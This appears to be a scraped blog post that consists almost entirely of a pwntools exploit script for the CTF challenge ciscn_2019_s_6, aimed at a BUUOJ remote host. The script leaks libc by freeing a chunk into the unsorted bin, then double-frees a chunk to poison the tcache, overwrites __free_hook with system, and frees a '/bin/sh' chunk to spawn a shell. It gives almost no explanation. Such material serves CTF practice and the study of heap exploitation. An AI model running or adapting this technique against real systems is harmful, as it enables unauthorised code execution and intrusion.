zoukankan      html  css  js  c++  java
  • ciscn_2019_s_6

    exp

    from pwn_debug import *
    
    context.binary = './ciscn_s_6'
    context.log_level = 'debug'
    
    
    pdbg = pwn_debug('./ciscn_s_6')
    pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',
    '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
    pdbg.remote('node3.buuoj.cn',29810)
    #p = pdbg.run('local')
    p = pdbg.run('remote')
    #libc = pdbg.libc
    libc = ELF('./libc/libc-2.27.so')
    elf = ELF('./ciscn_s_6')
    #elf = pdbg.elf
    
    def add(size,name,number):
        p.sendlineafter('choice:',str(1))
        p.sendlineafter("Please input the size of compary's name",str(size))
        p.sendafter('please input name:',name)
        p.sendafter('please input compary call:',number)
        
    def show(idx):
        p.sendlineafter('choice:',str(2))
        p.sendlineafter('Please input the index:',str(idx))
    
    def delete(idx):
        p.sendlineafter('choice:',str(3))
        p.sendlineafter('Please input the index:',str(idx))
    
    add(0x90,'aaaa','1111')# 0
    add(0x20,'bbbb','1111')# 1
    for i in range(7):
        delete(0)
    
    delete(0)
    show(0)
    
    p.recvuntil('name:')
    unsorted_addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    
    print 'unsorted_addr:' + hex(unsorted_addr)
    libcbase = unsorted_addr - 0x3ebca0
    free_hook = libcbase + libc.symbols['__free_hook']
    system = libcbase + libc.symbols['system']
    print 'free_hook:'+hex(free_hook)
    print 'system:' +hex(system)
    
    delete(1)
    delete(1)
    
    add(0x20,p64(free_hook),'1111')# 2
    add(0x20,'bbbb','1111')# 3
    add(0x20,p64(system),'1111')# 4
    add(0x20,'/bin/shx00','1111')# 5
    delete(5)
    #gdb.attach(p)
    
    p.interactive()
    
  • 相关阅读:
    一个案例
    Python Qt 简介
    【第二】用QtDesigner设计第一个界面
    【第一节】QtDesigner安装
    【第十二节】PyQt5俄罗斯方块
    【第十一节】PyQt5自定义控件
    【第十节】PyQt5绘图
    【第九节】PyQt 拖拽
    【第八节】PyQt5控件(II)
    【第七节】PyQt5控件
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13504419.html
Copyright © 2011-2022 走看看